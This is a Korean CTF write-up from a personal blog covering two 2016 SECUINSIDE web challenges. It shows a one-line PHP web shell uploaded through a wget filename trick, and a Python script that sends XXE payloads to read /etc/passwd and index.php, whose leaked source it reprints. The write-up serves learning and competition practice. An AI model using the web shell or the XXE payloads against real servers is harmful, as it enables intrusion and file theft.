Uiseong Park zairo

Write-up

2016 SECUINSIDE CTF

2016 SECUINSIDE CTF

WEB - “Trendyweb”

trendyweb

이 문제에서는 소스코드가 공개되어 있다. 소스를 살펴 보면 download_image 함수에서 URL을 받아서 system 함수를 이용하여 wget을 실행하고 매개변수로 넘어간 URL./data/(sess_id)/avatar.png에 저장한다. 그런데 download_image 함수 내의 parse_url에서 pathURL뒤의 파일 명과 파라미터가 나오긴 전까지만 긁어온다. 즉, www.test.com/test.php?a=wowow.php 를 적으면 /test.php만 파싱하여 가져온다.

이걸 가져와서 /avatar.png 인지 비교하고 system 함수에 넣고 wget으로 다운로드해버리는데 여기에서 문제가 발생한다. wget으로 www.test.com/test.php?a=wowow.php를 다운로드 하게 되면 저장되는 파일명은 test.php?a=wowow.php로 저장이 된다. 따라서 파라미터 변조를 통해 파일 확장자 조작이 가능하므로 서버에 avatar.png를 올려두고 www.server.com/avatar.png?test.php를 넘기면 avatar.png?test.php./data/(sess_id) 경로 밑에 저장이 된다. 따라서 웹쉘 업로드가 가능하게 된다.

이를 이용하여 avatar.png<pre><?php echo passthru($_GET[‘zairo’]); ?></pre>를 입력하고 서버로 웹쉘 업로드를 하여 원격 명령을 내릴 수 있다.

flag: 1-day is not trendy enough


WEB - “Onmyweb”

contact에 글을 써보면 responseSet-cookie:xmlbase64로 encode된 값이 오는 것을 확인할 수 있다. response302 Moved temporarily 이므로 다른 페이지로 이동하는데 여기에서 Set-cookie로 들어간 값이 다른 페이지로 전송되어 그 페이지에서 해석하여 데이터가 나오게 된다.
따라서 xml을 변조하여 전송을 하게 되면 나오는 값을 변조할 수 있다.

import base64
import urllib
import urllib2
 
url = "http://chal.cykor.kr:8080/?page=contact_ok"
 
def send_payload(xml_data):
  
    user_agent = "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)"
    req = urllib2.Request(url)
     
    req.add_header("User-agent", user_agent) 
    req.add_header("Cookie", "contact="+xml_data) 
      
    response = urllib2.urlopen(req)
    headers = response.info().headers 
    the_page = response.read()
    the_page = the_page[the_page.find('<h1>')+4:the_page.find('</h1>')]
    return the_page
 
 
xml = """<!--?xml version="1.0" encoding="utf-8"?-->
 
    <!--ENTITY xxe SYSTEM "file:///etc/passwd" -->]>
<account version="1.0"><datetime>2016-07-09 15:11:49</datetime><info><user>guest</user><pass>guest</pass><comment>&xxe;</comment></info></account>
"""
 
xml = base64.b64encode(xml)
xml = urllib.quote(xml)
 
print send_payload(xml)

이런 식으로 내부의 파일을 읽어올 수 있는데, 여기에서 index.php를 읽어올려니 읽어지지 않았다. 그래서 wrapperphp://filter/convert.base64-encode/resource=로 바꿔서 index.phpbase64로 읽어올려고 시도했다. 위의 소스코드에 xml을 아래와 같이 수정하고 실행하면 index.php의 소스코드를 읽어올 수 있다.

xml = """<?xml version="1.0" encoding="utf-8"?>

<!DOCTYPE foo [  

    <!ELEMENT comment ANY >

    <!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=index.php" >]>

<account version="1.0"><datetime>2016-07-09 15:11:49</datetime><info><user>guest</user><pass>guest</pass><comment>&xxe;</comment></info></account>

"""
<!DOCTYPE html>
<html lang="en">
  <head>
    <meta charset="utf-8">
    <meta http-equiv="X-UA-Compatible" content="IE=edge">
    <meta name="viewport" content="width=device-width, initial-scale=1">
    <!-- The above 3 meta tags *must* come first in the head; any other head content must come *after* these tags -->
    <meta name="description" content="">
    <meta name="author" content="">
 
    <title>OwnMyWeb</title>
 
    <!-- Bootstrap core CSS -->
    <link href="./dist/css/bootstrap.min.css" rel="stylesheet">
 
    <!-- IE10 viewport hack for Surface/desktop Windows 8 bug -->
    <link href="./assets/css/ie10-viewport-bug-workaround.css" rel="stylesheet">
 
    <!-- Custom styles for this template -->
    <link href="cover.css" rel="stylesheet">
    <link href="signin.css" rel="stylesheet">
 
    <!-- Just for debugging purposes. Don't actually copy these 2 lines! -->
    <!--[if lt IE 9]><script src="../../assets/js/ie8-responsive-file-warning.js"></script><![endif]-->
    <script src="./assets/js/ie-emulation-modes-warning.js"></script>
 
    <!-- HTML5 shim and Respond.js for IE8 support of HTML5 elements and media queries -->
    <!--[if lt IE 9]>
      <script src="https://oss.maxcdn.com/html5shiv/3.7.2/html5shiv.min.js"></script>
      <script src="https://oss.maxcdn.com/respond/1.4.2/respond.min.js"></script>
    <![endif]-->
  </head>
 
  <body>
 
    <div class="site-wrapper">
 
      <div class="site-wrapper-inner">
 
        <div class="cover-container">
 
          <div class="masthead clearfix">
            <div class="inner">
              <h3 class="masthead-brand">MY Homepage</h3>
              <nav>
                <ul class="nav masthead-nav">
                  <li><a href="?page=home">Home</a></li>
                  <li><a href="?page=login">Login</a></li>
                  <li><a href="?page=contact">Contact</a></li>
                </ul>
              </nav>
            </div>
          </div>
 
<?php
 
function fgc($dir)
{
    $l = scandir($dir);
    $n = count($l);
    if($n >= 10)
    {
        for($i=0; $i<$n; $i++)
        {   
            if($l[$i] !== "." || $l[$i] !== "..")
                unlink($dir. $l[$i]);
        }
    }
}
 
function debug($arr)
{
    if(!empty($_GET['debug']))
        print_r($arr);
}
 
if($_GET['page'] == "login")
{
    if($_POST['user'] && $_POST['pass'])
    {
        if($_POST['user']==="admin" && $_POST['pass']==="2be0a46f790da76fe47b3ccc9ffabd6f")
            include "flag.php";
        else if($_POST['user'] === "guest" && $_POST['pass']=== "guest")
            echo "<h1>HELLO GUEST</h1>";
        else
            echo "<h1>CHHER UP BABY</h1>";
    }
    else
    {   
?>
          <div class="inner cover">
            <h1 class="cover-heading">Login</h1>
      <label for="comment">I wish you know my admin password.</label>
      <form class="form-signin" action="?page=login" method="post">
        <label for="inputEmail" class="sr-only">Username</label>
        <input class="form-control" name="user" placeholder="Username" required autofocus>
        <label for="inputPassword" class="sr-only">Password</label>
        <input class="form-control" name="pass"  placeholder="Password" required>
        <div class="checkbox">
        </div>
        <button class="btn btn-lg btn-primary btn-block" type="submit">Submit</button>
      </form>
      </div>
        <a href="?page=contact">Forgot your account?</a>
<?php
    }
}
else if($_GET['page'] == "contact")
{
    if(!$_POST['comment'])
    {
        if($_COOKIE['contact'])
        {
            setcookie('contact', "", time()-3600);
        }
?>
      <form action="?page=contact" method="post">
          <div class="inner cover">
            <h1 class="cover-heading">Contact</h1>
    <div class="form-group">
      <label for="comment">Write your comment</label>
      <textarea class="form-control" rows="15" id="comment" name="comment"></textarea>
    </div>
        <button class="btn btn-primary" type="submit">Send</button>
      </form>
          </div>
<?php
    }
    else
    {
        $xml = new SimpleXMLElement("<?xml version="1.0" encoding="utf-8"?><account></account>");
        $xml->addAttribute('version', '1.0');
        $xml->addChild('datetime', date('Y-m-d H:i:s'));
         
        $info = $xml->addChild('info');
        $info->addChild('user', 'guest');
        $info->addChild('pass', 'guest');
        $info->addChild('comment', $_POST['comment']);
 
        $query = base64_encode($xml->asXML());
        setcookie('contact', $query);
        header("Location:./?page=contact_ok");
         
    }
}
else if($_GET['page'] == "contact_ok")
{
    if(!$_COOKIE['contact'])
        exit();
    $myxml = base64_decode($_COOKIE['contact']);
 
    $fn = md5($myxml);
    $dir = "/tmp/myxml/";
 
    if(is_dir($dir))
        fgc($dir);
    else
        mkdir($dir, 0755);
 
    $full_fn = $dir. $fn;
    $fh = fopen($full_fn, "w");
    fwrite($fh, $myxml);
 
    $res_arr = xml_sec_check($full_fn);
    if(!empty($_POST['secret_comment']))
        $secret = $_POST['secret_comment'] . "
";
 
    debug($res_arr);
 
    if(!empty($secret))
        fwrite($fh, "
secret message: ". $secret);
    fclose($fh);
 
    if($res_arr)
    {
        $doc = simplexml_load_string($myxml, 'SimpleXMLElement', LIBXML_NOENT);
        $comment = htmlspecialchars($doc->info->comment);
        echo "<h1>Your request " . $comment . " sent to admin</h1>";
    }
}
else
{
?>
          <div class="inner cover">
            <h1 class="cover-heading">Welcome</h1><br>
            <p class="lead">This site is kinda my personal blog. Own it if you want to get flag.</p>
            <p class="lead">Do not DOS attack.</p>
          </div>
<?php
 
}   
?>
 
          <div class="mastfoot">
            <div class="inner">
              <p>Cover template for <a href="http://getbootstrap.com">Bootstrap</a>, by <a href="https://twitter.com/mdo">@mdo</a>.</p>
            </div>
          </div>
 
        </div>
 
      </div>
 
    </div>
 
    <!-- Bootstrap core JavaScript
    ================================================== -->
    <!-- Placed at the end of the document so the pages load faster -->
    <script src="https://ajax.googleapis.com/ajax/libs/jquery/1.11.3/jquery.min.js"></script>
    <script>window.jQuery || document.write('<script src="./assets/js/vendor/jquery.min.js"><\/script>')</script>
    <script src="./dist/js/bootstrap.min.js"></script>
    <!-- IE10 viewport hack for Surface/desktop Windows 8 bug -->
    <script src="./assets/js/ie10-viewport-bug-workaround.js"></script>
  </body>
</html>

이후의 풀이법은 문제를 풀지 못해 대회 종료 후 진용휘님에게 질문하여 풀이 방법을 들었습니다. 위의 XXE을 이용해서 파일을 읽어올 수 있었으므로, php.ini를 읽어올 수 있었다고 합니다. 그 php.ini를 살펴보면, extension으로 이상한 so 파일이 설정된 것을 볼 수 있는데, 위의 php 소스에서 찾아볼 수 있지만 검색하면 나오지 않는 xml_sec_check 함수가 이 extension에서 선언된 것으로 추정할 수 있고, 해당 so 파일을 XXE로 다운로드 받아 분석 해보면 메모리 커럽션 취약점이 존재한다고 합니다. 분석 후에 페이로드를 날려 쉘을 획득하는.. 그런 문제였다고 합니다. 😂

Written by Uiseong Park (zairo)

이 블로그의 글은 개인적인 학습을 목적으로 작성된 내용이므로 사실과 다르거나 잘못 기재된 내용이 있을 수 있습니다. 올바르지 않은 내용이나 수정해야 할 사항이 있다면 park.uiseong@gmail.com으로 연락주시면 감사하겠습니다.